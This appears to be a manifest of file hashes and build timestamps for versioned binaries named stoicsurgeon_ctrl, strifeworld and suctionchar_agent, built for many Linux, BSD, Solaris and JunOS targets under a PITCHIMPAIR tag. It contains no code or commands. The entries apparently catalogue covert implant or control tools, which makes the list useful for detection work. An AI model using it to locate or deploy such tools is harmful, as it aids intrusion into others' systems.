stoicsurgeon_ctrl__v__1.6.16.1_x86-linux-ubuntu-8.04 +D5C300B1A71F81CBD3E76180E1BF6307F86AAEB8 Tue Jan 18 17:04:26 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.16.2_x86-linux-suse-enterprise-10.1 +1C9DDA14F267B2CA863D37FA70F5FEE165458991 Thu Jan 20 19:17:44 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.16.4_x86-linux-debian-5.0 +56514DBE745C2CE3796F37DC9B72BD27902EF355 Mon Jan 24 19:51:21 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.17.1_x86-linux-slackware-10.2-vinifera +17FB28CCE8DC8E6EA9075CCCE1A1EEBDE40B195A Thu Jan 27 19:04:36 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.17.3_x86-linux-redhat-9.0-optimusprime +BF5FA4C3BE0842DA5456D9A227281A68107818FA Thu Feb 3 17:52:47 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.18.1_x86_64-freebsd-potbed-cache55 +261458F4AE70DAFB1F9EE51C5560572D45A03D2D Tue Feb 15 20:39:09 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.18.2_x86_64-linux-redhat-enterprise-5.5 +50E2298928C142913341E2EFFF6C3201DE369178 Wed Feb 23 16:43:14 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.19.1_x86_64-linux-centos-5.5 +EB1FE33BA791A9F85C601AC467D0AE0440ADF88B Thu Feb 24 19:03:07 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.19.2_x86-freebsd-6.3 +62D420C46E217E6066B4E465D601BB860346BB1F Thu May 19 20:36:49 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.19.4_x86-linux-debian-4.0 +285D617537AB9C72AF604F69DE2926AD585FA091 Wed Apr 27 22:57:43 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.20.2_x86-linux-centos-5.5 +9901FA89B3F6B52AC56CE62EDABA3BE50E0776F3 Sat Mar 26 05:20:50 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.20.5_x86-linux-redhat-enterprise-5.1 +71A0AC87F1B83D310D843CB2D980E36036C0337F Tue Mar 29 15:04:22 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.20.6_x86-linux-slackware-10.0 +285D617537AB9C72AF604F69DE2926AD585FA091 Wed Apr 27 22:57:43 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.20.7_x86-linux-redhat-enterprise-5.3 +28BB2C0BC2B951A8C84E1B8AD98959591A594E6A Mon Sep 27 14:21:54 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.3.1_x86-linux-acridmini-sg +3FABCB5061DCC499439CBF1A98475CE398ECFC80 Tue Sep 28 20:48:19 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.4.1_x86-linux-redhat-enterprise-4.0 +3FABCB5061DCC499439CBF1A98475CE398ECFC80 Tue Sep 28 20:48:19 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.4.3_x86-linux-redstar-1.1 +3FABCB5061DCC499439CBF1A98475CE398ECFC80 Tue Sep 28 20:48:19 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.4.4_x86-linux-suse-11.0 +1640CE0B4BEE8912A39BCBAADA39E619F31B61C9 Tue Oct 5 14:40:47 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.4.5_x86_64-linux-suse-enterprise-10.2 +A8583CA75FC4EA81E174B2DBF0E871405861129B Fri Oct 1 14:45:36 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.5.1_x86-linux-waxstart-17331hd51071.ikoula.com +3169CD814778524A56978EE79C4E3DA456812443 Wed Oct 6 20:34:30 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.6.2_x86-linux-fedora13 +94BD6F090CFDA37B5B06B92F327440CEF0145A07 Fri Oct 8 16:51:50 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.7.1_x86_64-linux-centos-5.5 +DA64000A1B64CCDEBDAEFF27D7D6ACE66641BFEE Wed Oct 13 20:51:39 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.7.2_x86-linux-debian-4.0 +AB9ADF8E11967E0A5FFF6329AC95689B2CDA18E5 Thu Oct 14 14:15:27 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.8.1_x86-junos-8.5 +AB9ADF8E11967E0A5FFF6329AC95689B2CDA18E5 Thu Oct 14 14:15:27 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.8.2_x86-junos-9.0 +AB9ADF8E11967E0A5FFF6329AC95689B2CDA18E5 Thu Oct 14 14:15:27 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.8.3_x86-junos-9.1 +AB9ADF8E11967E0A5FFF6329AC95689B2CDA18E5 Thu Oct 14 14:15:27 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.8.4_x86-junos-9.2 +AB9ADF8E11967E0A5FFF6329AC95689B2CDA18E5 Thu Oct 14 14:15:27 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.8.6_x86-junos-9.4 +AB9ADF8E11967E0A5FFF6329AC95689B2CDA18E5 Thu Oct 14 14:15:27 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.8.7_x86-junos-9.5 +AB9ADF8E11967E0A5FFF6329AC95689B2CDA18E5 Thu Oct 14 14:15:27 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.8.8_x86-junos-9.6 +5F82380607C1F741CCC2F954EA02CD8A16F80633 Wed Oct 20 21:03:52 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.8.9_x86-linux-redhat-enterprise-4.0 +9635B7AA441B879EE8A7CF9A687D882803B91347 Fri Nov 5 03:45:56 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.9.5_x86-linux-slackware-12.2 +E56E3C6AFE512B2932DBB0F9D13CDE3DA97D9F0D Wed Nov 17 18:19:17 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.9.6_x86-linux-acridmini-sg +D541120A96D1EB33D06BE8B1FA5A5E8040001676 Mon Apr 25 12:38:32 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.0.2_sparc-sun-solaris2.10 +FFA0D35DEAA93BE0A12F7079A24BECEEDE2D5479 Wed Apr 27 16:27:21 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.0.3_sparc-sun-solaris2.8 +644297B8207994A96273CAA4C3A7A1780B802CEF Mon May 2 14:45:23 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.0.4_sparc-sun-solaris2.9 +FC54AD50EDCF33684FAA6BDAA63B506A0F6A6BB8 Mon Jun 6 22:32:06 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.1.10_x86-linux-fedora9 +FC54AD50EDCF33684FAA6BDAA63B506A0F6A6BB8 Mon Jun 6 22:32:06 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.1.12_x86-linux-fedora8-acridmini +2664CECF21F281C2E9DE5C38119964325B4450CA Fri May 13 19:15:25 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.1.13_x86_64-linux-centos-5.6 +FC54AD50EDCF33684FAA6BDAA63B506A0F6A6BB8 Mon Jun 6 22:32:06 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.1.14_x86-linux-redhat-enterprise-5.6 +2664CECF21F281C2E9DE5C38119964325B4450CA Fri May 13 19:15:25 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.1.15_x86_64-linux-centos-5.5 +2664CECF21F281C2E9DE5C38119964325B4450CA Fri May 13 19:15:25 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.1.16_x86_64-linux-centos-4.2 +2664CECF21F281C2E9DE5C38119964325B4450CA Fri May 13 19:15:25 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.1.17_x86_64-linux-redhat-enterprise-4.0 +2664CECF21F281C2E9DE5C38119964325B4450CA Fri May 13 19:15:25 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.1.1_x86_64-linux-scientific-5.5 +2664CECF21F281C2E9DE5C38119964325B4450CA Fri May 13 19:15:25 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.1.2_x86_64-linux-redhat-enterprise-5.1 +5A68EEBE1E1BACF552EF8AE504A138972A43FAD0 Wed Apr 27 19:31:07 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.1.3_x86-freebsd-5.3 +FC54AD50EDCF33684FAA6BDAA63B506A0F6A6BB8 Mon Jun 6 22:32:06 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.1.4_x86-linux-redhat-enterprise-5.3 +FC914F9830AD0CF670268A561C7F3A661CB8007F Thu Apr 28 13:40:30 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.1.5_x86_64-freebsd-7.2-potbed +5A68EEBE1E1BACF552EF8AE504A138972A43FAD0 Wed Apr 27 19:31:07 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.1.6_x86-freebsd-5.3-sassyninja +71617EF03A7200A2FF3DD3C4152D41C9C67BBA5B Thu Apr 28 18:57:21 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.1.7_x86-freebsd-7.4-switchdown_surf_sr +FC54AD50EDCF33684FAA6BDAA63B506A0F6A6BB8 Mon Jun 6 22:32:06 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.1.8_x86-linux-fedora7 +FC54AD50EDCF33684FAA6BDAA63B506A0F6A6BB8 Mon Jun 6 22:32:06 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.1.9_x86-linux-suse-11.0 +FC54AD50EDCF33684FAA6BDAA63B506A0F6A6BB8 Mon Jun 6 22:32:06 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.2.1_x86-linux-ubuntu-10.04 +2664CECF21F281C2E9DE5C38119964325B4450CA Fri May 13 19:15:25 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.2.2_x86_64-linux-suse-enterprise-11.0 +FC54AD50EDCF33684FAA6BDAA63B506A0F6A6BB8 Mon Jun 6 22:32:06 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.2.5_x86-linux-centos-4.7 +FC54AD50EDCF33684FAA6BDAA63B506A0F6A6BB8 Mon Jun 6 22:32:06 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.2.8_x86-linux-redhat-enterprise-4.2 +FC54AD50EDCF33684FAA6BDAA63B506A0F6A6BB8 Mon Jun 6 22:32:06 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.3.1_x86-linux-fedora8-acridmini +FC54AD50EDCF33684FAA6BDAA63B506A0F6A6BB8 Mon Jun 6 22:32:06 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.3.2_x86-linux-redhat-enterprise-5.4 +FC54AD50EDCF33684FAA6BDAA63B506A0F6A6BB8 Mon Jun 6 22:32:06 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.4.1_x86-linux-slackware-12.2-mentalbolt_e +FC54AD50EDCF33684FAA6BDAA63B506A0F6A6BB8 Mon Jun 6 22:32:06 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.5.10_x86-linux-centos-5.6 +2664CECF21F281C2E9DE5C38119964325B4450CA Fri May 13 19:15:25 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.5.1_x86_64-linux-redhat-enterprise-4.5 +2664CECF21F281C2E9DE5C38119964325B4450CA Fri May 13 19:15:25 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.5.2_x86_64-linux-centos-4.7 +FC54AD50EDCF33684FAA6BDAA63B506A0F6A6BB8 Mon Jun 6 22:32:06 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.5.4_x86-linux-redhat-enterprise-5.3 +FC54AD50EDCF33684FAA6BDAA63B506A0F6A6BB8 Mon Jun 6 22:32:06 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.5.6_x86-linux-clearos-5 +71617EF03A7200A2FF3DD3C4152D41C9C67BBA5B Thu Apr 28 18:57:21 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.5.7_x86-freebsd-7.4 +B3A204B757EDE232AD03491248A55C09AF4DD35A Tue Jun 28 16:06:20 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.6.1_x86-freebsd-6.2-deign_pi +FC54AD50EDCF33684FAA6BDAA63B506A0F6A6BB8 Mon Jun 6 22:32:06 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.6.2_x86-linux-fedora12 +2664CECF21F281C2E9DE5C38119964325B4450CA Fri May 13 19:15:25 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.6.3_x86_64-linux-centos-5.6 +FC54AD50EDCF33684FAA6BDAA63B506A0F6A6BB8 Mon Jun 6 22:32:06 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.6.5_x86-linux-redhat-7.1-tilttop +C514AF36F3D6FD1CBF626CA08BC71F7B15AEEF5C Fri Jul 15 13:50:00 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.7.1_sparc-sun-solaris2.10 +FC54AD50EDCF33684FAA6BDAA63B506A0F6A6BB8 Mon Jun 6 22:32:06 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.7.3_x86-linux-centos-5.6 +AD3997957D4BF220CE2FF38ACC628D8E23377B0E Thu Jun 17 21:06:04 2010 [PITCHIMPAIR.12] strifeworld_-i386-pc-solaris2.6_v.1.0.0.3 +4EE361F0FFEAE3DC4A5467789CF7CED054401613 Thu Jun 17 21:06:04 2010 [PITCHIMPAIR.12] strifeworld_-i386-unknown-freebsd7.2_v.1.0.0.3 +7CB367B7D0CB60088C4A46F565CEFCA771575932 Thu Jun 17 21:06:04 2010 [PITCHIMPAIR.12] strifeworld_-i686-pc-linux-2.6-gnu_v.1.0.0.3 +D6AA5EC24D2EAF2CE54764F3017C81ECBD426112 Thu Jun 17 21:06:04 2010 [PITCHIMPAIR.12] strifeworld_-sparc-sun-solaris2.6_v.1.0.0.3 +C55A3862613021083C28CB6C0220D0613892F0A2 Thu Jun 17 21:06:04 2010 [PITCHIMPAIR.12] strifeworld_-x86_64-unknown-linux-2.6-gnu_v.1.0.0.3 +BB571869B0B734423717A0B7A14BA7D50809A4B2 Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] strifeworld-strifeworld.old.i586-pc-linux-gnu +BB571869B0B734423717A0B7A14BA7D50809A4B2 Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] strifeworld-strifeworld.old.i686-pc-linux-gnu +5229B6E2800C84655052F24D1ADC8BE1B49BD38A Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] strifeworld-strifeworld.slack36.i586-pc-linux-gnu +5229B6E2800C84655052F24D1ADC8BE1B49BD38A Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] strifeworld-strifeworld.slack36.i686-pc-linux-gnu +5FDF9FAAE3A7634D34E5502D461794120741FAEE Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] strifeworld.i386-pc-solaris2.6 +5FDF9FAAE3A7634D34E5502D461794120741FAEE Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] strifeworld.i386-pc-solaris2.8 +3A00F4E09DB6BA695CCEF0CB146578192A86F43B Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] strifeworld.i386-unknown-freebsd3.3 +5B9E88E751B7870C1F89E08E5F2A245037E517F7 Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] strifeworld.i386-unknown-freebsd4.0 +5B9E88E751B7870C1F89E08E5F2A245037E517F7 Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] strifeworld.i386-unknown-freebsd4.4 +907521E449E25595CC74271D3EDC928C3A181CEC Thu Feb 14 00:00:42 2008 [PITCHIMPAIR.12] strifeworld.i686-pc-linux-gnu +BE62777DAFD7EAFCDBC64672C25C8224D8B9B16D Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] strifeworld.sparc-sun-solaris2.5.1 +E64594DF3EE85809409DCA7AF0250FA5240629D5 Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] strifeworld.sparc-sun-solaris2.6 +E64594DF3EE85809409DCA7AF0250FA5240629D5 Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] strifeworld.sparc-sun-solaris2.9 +2D727C23D659D3FC22CF6C466C7ABCC401AEC4E5 Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] strifeworld.sparc-unknown-linux-gnu +CBAFC69B15DCA64EBD6955041F3DDF04AC5E666B Wed Jan 6 00:24:29 2010 [PITCHIMPAIR.12] suctionchar_agent__v__1.5.17.7_x86-linux-centos-5.4 +5324058C0B5D76941D83E1CAAA177E34C7AA1AAB Mon Jul 9 16:57:39 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.10.1_x86-linux-mandriva-2006 +17A02A77E2F46EF04B084D49488D9F30E772632D Wed Jul 25 16:24:00 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.10.4_x86-linux-redhat-enterprise-4.0 +47D8B181E9CA8E51064784E6EED31A2DE5914398 Wed Aug 8 21:25:38 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.11.2_x86-linux-redhat-enterprise-3.0 +47D8B181E9CA8E51064784E6EED31A2DE5914398 Wed Aug 8 21:25:38 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.11.3_x86-linux-slackware-10.2 +565D160AF1C96F37846FD68CC0AF7B23A1CCBD9A Mon Aug 27 21:39:37 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.12.1_sparc-sun-solaris2.7 +2583037B2CF2957E62AC7A423786469124E3DD3F Thu Sep 6 17:41:49 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.13.1_x86-linux-fedora5 +2583037B2CF2957E62AC7A423786469124E3DD3F Thu Sep 6 17:41:49 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.13.2_x86-linux-fedora6 +2583037B2CF2957E62AC7A423786469124E3DD3F Thu Sep 6 17:41:49 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.13.4_x86-linux-redhat-7.3 +3D42A44B2F69BA70D238BA0EBB6272E81C142403 Wed Dec 12 14:31:46 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.17.1_x86-linux-suse-8.2 +3D42A44B2F69BA70D238BA0EBB6272E81C142403 Wed Dec 12 14:31:46 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.17.3_x86-linux-suse-10.0 +3D42A44B2F69BA70D238BA0EBB6272E81C142403 Wed Dec 12 14:31:46 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.17.4_x86-linux-tilttop-gate.nto +6E13B5EFAEDE0C4A5A719AD41217AEA4E49BB216 Tue Dec 18 20:46:17 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.18.1_x86-freebsd-6.2 +B16C22F2DD68A8B499926B1D33DBB76E69E64C45 Thu Feb 7 23:21:00 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.22.1_x86-linux-fedora7 +7AEA08BB7ADCF83A0CA03E643BEBEBCD5CD397FC Thu Feb 21 22:52:24 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.23.4_sparc-sun-solaris2.9 +7AEA08BB7ADCF83A0CA03E643BEBEBCD5CD397FC Thu Feb 21 22:52:24 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.23.5_sparc-sun-solaris2.10 +3A2E2C6F1DA743D825D322C8015305D8A803E403 Tue Mar 4 17:03:35 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.24.6_x86-linux-fedora4 +05559B3F1D88C8B1CBC20021DB7ED2E278992823 Tue Mar 25 02:18:00 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.11_i386-pc-solaris2.8 +05559B3F1D88C8B1CBC20021DB7ED2E278992823 Tue Mar 25 02:18:00 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.12_i386-pc-solaris2.9 +05559B3F1D88C8B1CBC20021DB7ED2E278992823 Tue Mar 25 02:18:00 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.13_i386-pc-solaris2.10 +3D0AB6BE312183915F4620498CB348F48C0F867F Tue Mar 25 17:59:50 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.14_x86-linux-fedora4 +3D0AB6BE312183915F4620498CB348F48C0F867F Tue Mar 25 17:59:50 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.15_x86-linux-redhat-7.3 +3D0AB6BE312183915F4620498CB348F48C0F867F Tue Mar 25 17:59:50 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.16_x86-linux-mandrake-9.2 +0B7D1F67EF6B2E239B2A4CE8F75B55A43E5EA79E Thu Jun 26 22:49:02 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.17_x86-linux-centos-5.0 +0B7D1F67EF6B2E239B2A4CE8F75B55A43E5EA79E Thu Jun 26 22:49:02 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.18_x86-linux-tilttop +0B7D1F67EF6B2E239B2A4CE8F75B55A43E5EA79E Thu Jun 26 22:49:02 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.19_x86-linux-debian-3.0 +0B7D1F67EF6B2E239B2A4CE8F75B55A43E5EA79E Thu Jun 26 22:49:02 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.1_x86-linux-fedora7 +2816C8348348D0548B1DA4A9BEAC3119C076C42F Tue Mar 25 00:20:51 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.22_sparc-sun-solaris2.10 +2816C8348348D0548B1DA4A9BEAC3119C076C42F Tue Mar 25 00:20:51 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.23_sparc-sun-solaris2.9 +05559B3F1D88C8B1CBC20021DB7ED2E278992823 Tue Mar 25 02:18:00 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.24_i386-pc-solaris2.9 +2816C8348348D0548B1DA4A9BEAC3119C076C42F Tue Mar 25 00:20:51 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.25_sparc-sun-solaris2.10 +05559B3F1D88C8B1CBC20021DB7ED2E278992823 Tue Mar 25 02:18:00 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.26_i386-pc-solaris2.10 +0B7D1F67EF6B2E239B2A4CE8F75B55A43E5EA79E Thu Jun 26 22:49:02 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.27_x86-linux-slackware-10.0 +D214EDE2389FDB1EFD2F5715AC2745E02F3AC289 Mon Mar 24 19:47:42 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.2_x86-freebsd-5.3 +0F0242EDD78728F21CCA493C058AC45105D2B989 Mon Mar 24 20:29:40 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.4_x86-freebsd-6.0 +F7675E8A7F7E4323272DDAA670EECE16752AC2A8 Mon Mar 24 21:30:12 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.5_x86-freebsd-6.1 +A93C7EB17047AAC09C0D91FEB1575EF0F714B3A9 Mon Mar 24 21:46:45 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.6_x86-freebsd-6.2 +2816C8348348D0548B1DA4A9BEAC3119C076C42F Tue Mar 25 00:20:51 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.8_sparc-sun-solaris2.8 +2816C8348348D0548B1DA4A9BEAC3119C076C42F Tue Mar 25 00:20:51 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.27.9_sparc-sun-solaris2.9 +C35B8AE77DAFE3AA9B4E99CCB4EC5B92DD7D9520 Fri Apr 18 00:39:06 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.28.1_x86-freebsd-5.5 +F44218F45595D25E521D2D654A90DD443ED5A25B Wed Jul 16 21:34:44 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.28.2_x86-linux-centos-5.1 +AD45448C1C91DE2AF189FBD210313DD70D8D35B8 Fri Jul 25 18:12:39 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.28.5_x86-linux-fedora1 +0ACD3D36AC17C135148A46C159284FF4B5142392 Tue Sep 2 22:01:29 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.29.1_x86-linux-debian-4.0 +0ACD3D36AC17C135148A46C159284FF4B5142392 Tue Sep 2 22:01:29 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.29.2_x86-linux-tilttop +0ACD3D36AC17C135148A46C159284FF4B5142392 Tue Sep 2 22:01:29 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.29.4_x86-linux-fedora7 +0ACD3D36AC17C135148A46C159284FF4B5142392 Tue Sep 2 22:01:29 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.29.5_x86-linux-centos-4.5 +0ACD3D36AC17C135148A46C159284FF4B5142392 Tue Sep 2 22:01:29 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.29.6_x86-linux-fedora6 +0ACD3D36AC17C135148A46C159284FF4B5142392 Tue Sep 2 22:01:29 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.29.8_x86-linux-centos-5.2 +4F68DE4E600CE3A3C21BD311EBBE581E86AACBF8 Mon Oct 6 16:33:57 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.31.10_x86-linux-tilttop +4F68DE4E600CE3A3C21BD311EBBE581E86AACBF8 Mon Oct 6 16:33:57 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.31.1_x86-linux-debian-4.0 +4F68DE4E600CE3A3C21BD311EBBE581E86AACBF8 Mon Oct 6 16:33:57 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.31.2_x86-linux-tilttop +4F68DE4E600CE3A3C21BD311EBBE581E86AACBF8 Mon Oct 6 16:33:57 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.31.3_x86-linux-centos-5.2 +4F68DE4E600CE3A3C21BD311EBBE581E86AACBF8 Mon Oct 6 16:33:57 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.31.5_suctionchar_x86_linux_centos_4.5 +4F68DE4E600CE3A3C21BD311EBBE581E86AACBF8 Mon Oct 6 16:33:57 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.31.8_x86-linux-suse-9.3 +4F68DE4E600CE3A3C21BD311EBBE581E86AACBF8 Mon Oct 6 16:33:57 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.31.9_x86-linux-tilttop +E30D840E5B3DDE61A949CFEB8184179613AF3B8A Fri Oct 10 19:10:27 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.32.2_x86-linux-fedora7 +E30D840E5B3DDE61A949CFEB8184179613AF3B8A Fri Oct 10 19:10:27 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.32.3_x86-linux-redhat-7.3 +E30D840E5B3DDE61A949CFEB8184179613AF3B8A Fri Oct 10 19:10:27 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.32.4_x86-linux-redhat-8.0 +E30D840E5B3DDE61A949CFEB8184179613AF3B8A Fri Oct 10 19:10:27 2008 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.32.5_x86-linux-suse-10.0 +A9E256D3A392D72221329719CAB6992DC1F94E20 Wed Jan 7 13:53:38 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.32.7_sparc-sun-solaris2.8 +30690F994EE2F03DE8453E661411B6F54C58098C Wed Jan 7 14:50:30 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.32.8_sparc-sun-solaris2.9 +E727D54E24453A3D836FA7C6307DA4665041457A Wed Jan 7 15:25:35 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.32.9_sparc-sun-solaris2.10 +C1646E1203C94C53B8B193879C23444F3F1488BC Thu Jan 8 21:53:02 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.35.10_x86-linux-fedora6 +C1646E1203C94C53B8B193879C23444F3F1488BC Thu Jan 8 21:53:02 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.35.12_x86-linux-tilttop +C1646E1203C94C53B8B193879C23444F3F1488BC Thu Jan 8 21:53:02 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.35.13_x86-linux-tilttop +C1646E1203C94C53B8B193879C23444F3F1488BC Thu Jan 8 21:53:02 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.35.1_x86-linux-alt-4.0 +C1646E1203C94C53B8B193879C23444F3F1488BC Thu Jan 8 21:53:02 2009 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.35.2_x86-linux-ubuntu-7.04 